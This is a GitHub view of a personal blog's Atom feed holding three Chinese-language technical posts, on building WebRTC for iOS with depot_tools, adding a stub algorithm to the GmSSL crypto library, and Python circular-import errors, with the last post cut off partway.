-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
902 lines (751 loc) · 199 KB
/
atom.xml
File metadata and controls
902 lines (751 loc) · 199 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>32bits</title>
<subtitle>Smart is new sex</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://32t.github.io/"/>
<updated>2017-08-31T13:25:56.000Z</updated>
<id>http://32t.github.io/</id>
<author>
<name>Simon</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>webrtc-ios 编译流程及问题解决</title>
<link href="http://32t.github.io/2017/08/31/webrtc-ios-%E7%BC%96%E8%AF%91%E6%B5%81%E7%A8%8B%E5%8F%8A%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/"/>
<id>http://32t.github.io/2017/08/31/webrtc-ios-编译流程及问题解决/</id>
<published>2017-08-31T12:58:05.000Z</published>
<updated>2017-08-31T13:25:56.000Z</updated>
<content type="html"><h2 id="Webrtc-编译"><a href="#Webrtc-编译" class="headerlink" title="Webrtc 编译"></a>Webrtc 编译</h2><p>注1:本文档适用webrtc-ios源码的下载和编译;</p>
<p>注2:下载编译所使用的操作系统为mac 终端;</p>
<h3 id="下载编译工具"><a href="#下载编译工具" class="headerlink" title="下载编译工具"></a>下载编译工具</h3><p>Chromium和Chromium OS统一使用一个叫做depot_tools的工具的对其源码进行checkout的管理(这有点类似于Android使用repo工具对其源码进行管理一样),作为Chromium其中一个子模块的webrtc而言,也是使用这个工具对其代码进行checkout。这个depot_rools包里面包含了gclient、gcl、git-cl、repo等工具。</p>
<p>下载depot_tools工具包并放到标准路径PATH上:<br>首先确保mac上安装了Git 2.2.1以上版本,以及Python 2.7以上版本;</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git</span><br></pre></td></tr></table></figure>
<a id="more"></a>
<p>修改root目录中的.bash_profile文件,.bash_profile文件是一个隐藏文件,可在root目录下使用命令ls -a将隐藏文件显示出来,然后vi .bash_profile 进行编辑,增加:export PATH=$PATH:‘pwd’/depot_tools:$PATH,然后按Esc + shift + 冒号,输入wq,进行保存。注意一定要把depot_tools的位置放在PATH的最前面;</p>
<p>参考:<a href="https://dev.chromium.org/developers/how-tos/install-depot-tools" target="_blank" rel="external">https://dev.chromium.org/developers/how-tos/install-depot-tools</a></p>
<h3 id="下载-webrtc-源代码"><a href="#下载-webrtc-源代码" class="headerlink" title="下载 webrtc 源代码"></a>下载 webrtc 源代码</h3><p>下载webrtc-ios代码及编译流程(首先要先按照以上步骤下载depot_tools ):</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mkdir webrtc-ios</span><br><span class="line"></span><br><span class="line">cd webrtc-ios</span><br><span class="line"></span><br><span class="line">fetch --nohooks webrtc_ios</span><br></pre></td></tr></table></figure>
<p>gclient sync//代码下载过程中如果发生中断,使用gclient sync同步就可以了</p>
<ol>
<li>编译Mac OS AppRTCMobile</li>
</ol>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gn gen out/Debug</span><br><span class="line"></span><br><span class="line">ninja -C out/Debug</span><br></pre></td></tr></table></figure>
<ol>
<li>编译64位真机 AppRTCMobile</li>
</ol>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gn gen out/ios_64 --args=&apos;target_os=&quot;ios&quot; target_cpu=&quot;arm64&quot;&apos;</span><br><span class="line">ninja -C out/ios_64</span><br></pre></td></tr></table></figure>
<p>WebRTC代码后期更新的三种方式(在src目录下):</p>
<ol>
<li><p>当前代码在某个分支下进行维护,使用git pull可以拉取远程仓库的最新更新;</p>
</li>
<li><p>当前代码不在分支下,使用git fetch取下来最新的git仓库更新;</p>
</li>
<li><p>需要定期更新依赖或者其他第三方库,使用gclient sync命令;</p>
</li>
</ol>
<p>参考:<a href="https://webrtc.org/native-code/ios/" target="_blank" rel="external">https://webrtc.org/native-code/ios/</a></p>
<h2 id="附录:"><a href="#附录:" class="headerlink" title="附录:"></a>附录:</h2><ol>
<li>webrtc-ios版本下载过程中 $ gclient sync时出现的问题</li>
</ol>
<p>问题描述:</p>
<p>出现Hook ‘download_from_google_storage –directory –recursive –num_threads=10 –no_auth –quiet –bucket chromium-webrtc-resources src/resources’ took 8760.95 secs 后,不执行了。</p>
<p>解决办法:</p>
<p>找到src/DEPS文件,将下面这几行代码注释掉</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Download test resources, i.e. video and audio files from Google Storage.</span></span><br><span class="line"></span><br><span class="line"> <span class="string">'pattern'</span>: <span class="string">'.'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'action'</span>: [<span class="string">'download_from_google_storage'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--directory'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--recursive'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--num_threads=10'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--no_auth'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--quiet'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'--bucket'</span>, <span class="string">'chromium-webrtc-resources'</span>,</span><br><span class="line"></span><br><span class="line"> <span class="string">'src/resources'</span>]</span><br><span class="line"></span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>
<ol>
<li>下载代码过程中遇到如下错误:</li>
</ol>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">________ running <span class="string">'download_from_google_storage --no_resume --platform=darwin --no_auth --bucket chromium-gn -s src/buildtools/mac/gn.sha1'</span> <span class="keyword">in</span> <span class="string">'/Users/simon/webrtc'</span></span><br><span class="line">Failed to fetch file gs://chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b <span class="keyword">for</span> src/buildtools/mac/gn. [Err: /Library/Python/2.7/site-packages/cryptography/hazmat/backends/__init__.py:7: UserWarning: Module six was already imported from /Users/simon/code/depot_tools/external_bin/gsutil/gsutil_4.26/gsutil/third_party/six/six.py, but /Library/Python/2.7/site-packages/six-1.10.0-py2.7.egg is being added to sys.path</span><br></pre></td></tr></table></figure>
<p>将gs://chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b中的 gs替换为 <a href="https://storage.googleapis.com/" target="_blank" rel="external">https://storage.googleapis.com/</a> 就可以直接在浏览器下载了。前提当然是你还开着翻墙代理。所以任务就变成了下载下面这个地址的文件到刚刚那个目录。<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b</span></span><br></pre></td></tr></table></figure></p>
<ol>
<li>下载 clang 等文件出错</li>
</ol>
<p>可以在 bash 中设置代理来解决</p>
<ol>
<li>gclient sync长时间不响应</li>
</ol>
<p>遇到如下情况长时间不响应</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">________ running <span class="string">'download_from_google_storage --no_resume --platform=darwin --no_auth --bucket chromium-luci -d src/tools/luci-go/mac64'</span> <span class="keyword">in</span> <span class="string">'/Users/simon/webrtc'</span></span><br></pre></td></tr></table></figure>
<p>先到src/tools/luci-go/mac64找对应的 sha1文件,此处为isolate.sha1文件,文件内容为1966687828a068eee4c5da45bbb8afd91cddda6f,这个是对应文件的散列值,也是文件的标识。 google 通过luci-go标识工具的名称,用散列值标识工具的版本。</p>
<p>然后用luci-go替换下面 url 中的chromium-gn,用 1966687828a068eee4c5da45bbb8afd91cddda6f替换c2c934d4dda1f470a6511b1015dda9a9fb1ce50b,<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">原链接:</span><br><span class="line">https://storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b</span><br><span class="line">替换后的链接:</span><br><span class="line">https://storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b</span><br></pre></td></tr></table></figure></p>
<p>从替换后的链接出下载文件到src/tools/luci-go/mac64中,命名为isolate。然后重新执行 gclient sync 即可。</p>
</content>
<summary type="html">
<h2 id="Webrtc-编译"><a href="#Webrtc-编译" class="headerlink" title="Webrtc 编译"></a>Webrtc 编译</h2><p>注1:本文档适用webrtc-ios源码的下载和编译;</p>
<p>注2:下载编译所使用的操作系统为mac 终端;</p>
<h3 id="下载编译工具"><a href="#下载编译工具" class="headerlink" title="下载编译工具"></a>下载编译工具</h3><p>Chromium和Chromium OS统一使用一个叫做depot_tools的工具的对其源码进行checkout的管理(这有点类似于Android使用repo工具对其源码进行管理一样),作为Chromium其中一个子模块的webrtc而言,也是使用这个工具对其代码进行checkout。这个depot_rools包里面包含了gclient、gcl、git-cl、repo等工具。</p>
<p>下载depot_tools工具包并放到标准路径PATH上:<br>首先确保mac上安装了Git 2.2.1以上版本,以及Python 2.7以上版本;</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git</span><br></pre></td></tr></table></figure>
</summary>
<category term="webrtc" scheme="http://32t.github.io/tags/webrtc/"/>
<category term="ios" scheme="http://32t.github.io/tags/ios/"/>
<category term="chromium" scheme="http://32t.github.io/tags/chromium/"/>
<category term="gclient" scheme="http://32t.github.io/tags/gclient/"/>
</entry>
<entry>
<title>GmSSL 添加新算法</title>
<link href="http://32t.github.io/2017/07/16/GmSSL-%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%AE%97%E6%B3%95/"/>
<id>http://32t.github.io/2017/07/16/GmSSL-添加新算法/</id>
<published>2017-07-16T15:07:01.000Z</published>
<updated>2017-07-16T16:08:47.000Z</updated>
<content type="html"><p>最近在做的工作需要给 GMSSL 密码库添加自有的加密算法和 ssl 算法。因此对 GMSSL 做了一些研究,GMSSL 是 OpenSSL 的 一个分支,它增加了包括 SM2、SM3、SM4在内的国密算法,以及国密的 SSL 加密信道,加密套件为 ECDSA-SM2-SM3-SM4。</p>
<h2 id="增加算法头文件"><a href="#增加算法头文件" class="headerlink" title="增加算法头文件"></a>增加算法头文件</h2><p>算法头文件中包括了我们需要添加的加密算法和 ssl 算法。</p>
<p>具体需要在include/openssl 目录下新建文件 new_header.h</p>
<p>在 new_header.h 中定义新的加密算法和 ssl 算法。内容大致如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">int new_crypto();</span><br><span class="line">int new_ssl();</span><br></pre></td></tr></table></figure></p>
<a id="more"></a>
<h2 id="增加密码算法"><a href="#增加密码算法" class="headerlink" title="增加密码算法"></a>增加密码算法</h2><p>在 crypto 目录下新建算法目录 new_crypto<br>在 new_crypto 目录下新建文件</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">crypto/new_crypto</span><br><span class="line">+-- build.info</span><br><span class="line">+-- crypto_src.c</span><br></pre></td></tr></table></figure>
<p>build.info 是编译所需的文件,文件内容一般如下所示:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">LIBS=../../libcrypto</span><br><span class="line">SOURCE[../../libcrypto]=\</span><br><span class="line"> crypto_src.c</span><br></pre></td></tr></table></figure></p>
<p>crypto_src.c 为算法的具体代码实现,内容大致如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;openssl/new_header.h&gt;</span><br><span class="line">int new_crypto()</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h2 id="增加-ssl-算法文件"><a href="#增加-ssl-算法文件" class="headerlink" title="增加 ssl 算法文件"></a>增加 ssl 算法文件</h2><p>在 ssl目录下新建ssl算法代码文件ssl_new.c,内容大致如下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;openssl/new_header.h&gt;</span><br><span class="line">int new_ssl()</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>##修改符号文件<br>修改 util/mkdef.pl,在对应代码后添加新增头文件new_header:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">my $ssl=&quot;include/openssl/ssl.h&quot;;</span><br><span class="line">$ssl.=&quot; include/openssl/tls1.h&quot;;</span><br><span class="line">$ssl.=&quot; include/openssl/new_header.h&quot;;</span><br><span class="line"></span><br><span class="line">my $crypto =&quot;include/openssl/crypto.h&quot;;</span><br><span class="line">$crypto.=&quot; include/internal/o_dir.h&quot;;</span><br><span class="line">$crypto.=&quot; include/internal/new_header.h&quot;;</span><br></pre></td></tr></table></figure></p>
<p>##修改 Configure 文件</p>
<p>修改 Configure 文件,将密码算法添加到编译系统中。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$config&#123;sdirs&#125; = [</span><br><span class="line"> &quot;objects&quot;,</span><br><span class="line"> &quot;md2&quot;, &quot;md4&quot;, &quot;md5&quot;, &quot;sha&quot;, &quot;mdc2&quot;, &quot;hmac&quot;, &quot;ripemd&quot;, &quot;whrlpool&quot;, &quot;poly1305&quot;, &quot;blake2&quot;,</span><br><span class="line"> &quot;des&quot;, &quot;aes&quot;, &quot;rc2&quot;, &quot;rc4&quot;, &quot;rc5&quot;, &quot;idea&quot;, &quot;bf&quot;, &quot;cast&quot;, &quot;camellia&quot;, &quot;seed&quot;, &quot;chacha&quot;, &quot;modes&quot;,</span><br><span class="line"> &quot;bn&quot;, &quot;ec&quot;, &quot;rsa&quot;, &quot;dsa&quot;, &quot;dh&quot;, &quot;dso&quot;, &quot;engine&quot;,</span><br><span class="line"> &quot;buffer&quot;, &quot;bio&quot;, &quot;stack&quot;, &quot;lhash&quot;, &quot;rand&quot;, &quot;err&quot;,</span><br><span class="line"> &quot;evp&quot;, &quot;asn1&quot;, &quot;pem&quot;, &quot;x509&quot;, &quot;x509v3&quot;, &quot;conf&quot;, &quot;txt_db&quot;, &quot;pkcs7&quot;, &quot;pkcs12&quot;, &quot;comp&quot;, &quot;ocsp&quot;, &quot;ui&quot;,</span><br><span class="line"> &quot;cms&quot;, &quot;ts&quot;, &quot;srp&quot;, &quot;cmac&quot;, &quot;ct&quot;, &quot;async&quot;, &quot;kdf&quot;,</span><br><span class="line"> &quot;sm3&quot;, &quot;sms4&quot;, &quot;kdf2&quot;, &quot;ecies&quot;, &quot;ffx&quot;, &quot;sm2&quot;, &quot;paillier&quot;, &quot;cpk&quot;, &quot;otp&quot;, &quot;gmapi&quot;, &quot;ec2&quot;,</span><br><span class="line"> &quot;bfibe&quot;, &quot;bb1ibe&quot;, &quot;sm9&quot;, &quot;saf&quot;, &quot;sdf&quot;, &quot;skf&quot;, &quot;sof&quot;, &quot;zuc&quot;,</span><br><span class="line"> &quot;serpent&quot;, &quot;speck&quot;, &quot;base58&quot;,&quot;new_crypto&quot;</span><br><span class="line"> ];</span><br></pre></td></tr></table></figure></p>
<h2 id="更新符号文件"><a href="#更新符号文件" class="headerlink" title="更新符号文件"></a>更新符号文件</h2><p>运行如下指令,就会将新定义的密码算法和 SSL 算法中新增的函数添加到符号文件中。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make update</span><br></pre></td></tr></table></figure>
</content>
<summary type="html">
<p>最近在做的工作需要给 GMSSL 密码库添加自有的加密算法和 ssl 算法。因此对 GMSSL 做了一些研究,GMSSL 是 OpenSSL 的 一个分支,它增加了包括 SM2、SM3、SM4在内的国密算法,以及国密的 SSL 加密信道,加密套件为 ECDSA-SM2-SM3-SM4。</p>
<h2 id="增加算法头文件"><a href="#增加算法头文件" class="headerlink" title="增加算法头文件"></a>增加算法头文件</h2><p>算法头文件中包括了我们需要添加的加密算法和 ssl 算法。</p>
<p>具体需要在include/openssl 目录下新建文件 new_header.h</p>
<p>在 new_header.h 中定义新的加密算法和 ssl 算法。内容大致如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">int new_crypto();</span><br><span class="line">int new_ssl();</span><br></pre></td></tr></table></figure></p>
</summary>
<category term="密码学" scheme="http://32t.github.io/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="GmSSl" scheme="http://32t.github.io/tags/GmSSl/"/>
</entry>
<entry>
<title>Python import 问题</title>
<link href="http://32t.github.io/2016/12/05/Python-import-%E9%97%AE%E9%A2%98/"/>
<id>http://32t.github.io/2016/12/05/Python-import-问题/</id>
<published>2016-12-05T04:53:55.000Z</published>
<updated>2016-12-05T05:33:15.000Z</updated>
<content type="html"><p>##Python import 遇到的几个问题</p>
<p>python 作为一个脚本语言,具有很多优良的特性,笔者最喜欢的大概是他丰富的函数库,同时在工作中自己也会开发一些库来使用,这样就会经常用到 import 功能。譬如我们有如下两个文件:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#bar.py</span><br><span class="line">bar_var=1</span><br></pre></td></tr></table></figure></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">from bar import bar_var</span><br><span class="line">foo_var=1</span><br></pre></td></tr></table></figure>
<p>在 foo.py 中我们引入了 bar 中的 bar_var 的变量。下面我们介绍 python 引用的机制及常见的问题。<br><a id="more"></a></p>
<h3 id="Python-import-机制"><a href="#Python-import-机制" class="headerlink" title="Python import 机制"></a>Python import 机制</h3><p>python 在执行import 的时候实际上是将引入的文件执行了一遍,并将对应文件加入了 module 列表中,我们对 foo.py 文件做如下修改:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">import sys</span><br><span class="line">print &quot;BEFORE&quot;,sys.modules.get(&apos;bar&apos;)</span><br><span class="line">from bar import bar_var</span><br><span class="line">print &quot;AFTER&quot;,sys.modules.get(&apos;bar&apos;)</span><br><span class="line">foo_var = 1</span><br></pre></td></tr></table></figure>
<p>运行后出现如下结果:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">➜ Python python foo.py</span><br><span class="line">BEFORE None</span><br><span class="line">AFTER &lt;module &apos;bar&apos; from &apos;/Users/simon/Development/Python/bar.pyc&apos;&gt;</span><br></pre></td></tr></table></figure>
<p>我们可以看到,在引入 bar模块之前在模块列表中是没有这个模块的,引用之后就在模块列表中增加了对应的模块名称。</p>
<p>Python 为了解决循环引用的问题,只要在程序中引用过,之后不会再次引用。我们对 foo.py 文件和 bar.py 文件修改如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#bar.py</span><br><span class="line">print &quot;impoted&quot;</span><br><span class="line">bar_var=1</span><br></pre></td></tr></table></figure></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">from bar import bar_var</span><br><span class="line">foo_var = 1</span><br><span class="line">from bar import bar_var</span><br></pre></td></tr></table></figure>
<p>执行结果如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜ Python python foo.py</span><br><span class="line">impoted</span><br></pre></td></tr></table></figure></p>
<h3 id="Python-import-问题"><a href="#Python-import-问题" class="headerlink" title="Python import 问题"></a>Python import 问题</h3><p>如果我们将两个文件互相引用会出现什么问题呢?例如 bar.py 和 foo.py 文件如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#bar.py</span><br><span class="line">from foo import foo_var</span><br><span class="line">bar_var=1</span><br></pre></td></tr></table></figure></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">from bar import bar_var</span><br><span class="line">foo_var = 1</span><br></pre></td></tr></table></figure>
<p>如果运行 foo.py 文件会报错如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">➜ Python python foo.py</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File &quot;foo.py&quot;, line 2, in &lt;module&gt;</span><br><span class="line"> from bar import bar_var</span><br><span class="line"> File &quot;/Users/simon/Development/Python/bar.py&quot;, line 2, in &lt;module&gt;</span><br><span class="line"> from foo import foo_var</span><br><span class="line"> File &quot;/Users/simon/Development/Python/foo.py&quot;, line 2, in &lt;module&gt;</span><br><span class="line"> from bar import bar_var</span><br><span class="line">ImportError: cannot import name bar_var</span><br></pre></td></tr></table></figure></p>
<p>通过异常链我们可以看到在执行 python foo.py 文件的时候程序的运行过程,包括以下几步:</p>
<ol>
<li>foo.py 文件执行到第2行发现需要引用 bar 模块,</li>
<li>查找 sys.modules 字典发现没有引入对应的模块,则引入 bar.py 文件,并添加到 sys.modules</li>
<li>bar.py 文件被引入后执行到第2行发现需要引用 foo 模块</li>
<li>查找 sys.modules 字典发现没有引入对应的模块,则引入 foo.py 文件</li>
<li>foo.py 文件被引入后执行到第2行发现需要引用 bar 模块</li>
<li>查找 sys.modules 字典发现已经引入了 bar 模块,则直接将bar 模块中的 bar_var 赋值给当前正在引入的 foo.py 文件</li>
<li>已经引入的 bar 模块还没有执行到第三行,因此没有 bar_var 这个变量的值,赋值失败,报错</li>
</ol>
<p>如果将文件内容修改为如下代码,则不会出错:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#bar.py</span><br><span class="line">bar_var=1</span><br><span class="line">from foo import foo_var</span><br></pre></td></tr></table></figure></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#foo.py</span><br><span class="line">from bar import bar_var</span><br><span class="line">foo_var = 1</span><br></pre></td></tr></table></figure>
<p>运行结果如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜ Python python foo.py</span><br><span class="line">➜ Python</span><br></pre></td></tr></table></figure></p>
<p>运行流程如下:</p>
<ol>
<li>foo.py 文件执行到第2行发现需要引用 bar 模块,</li>
<li>查找 sys.modules 字典发现没有引入对应的模块,则引入 bar.py 文件,并添加到 sys.modules</li>
<li>bar.py 文件被引入后执行到第3行发现需要引用 foo 模块</li>
<li>查找 sys.modules 字典发现没有引入对应的模块,则引入 foo.py 文件</li>
<li>foo.py 文件被引入后执行到第2行发现需要引用 bar 模块</li>
<li>查找 sys.modules 字典发现已经引入了 bar 模块,则直接将bar 模块中的 bar_var 赋值给当前正在引入的 foo.py 文件</li>
<li>bar 模块中已经执行到了第3行,已经对 bar_var 变量进行了赋值,foo 模块成功引入了 bar_var</li>
<li>foo模块执行到第3行对 foo_var 进行赋值,返回 bar模块</li>
<li>返回 foo.py 文件</li>
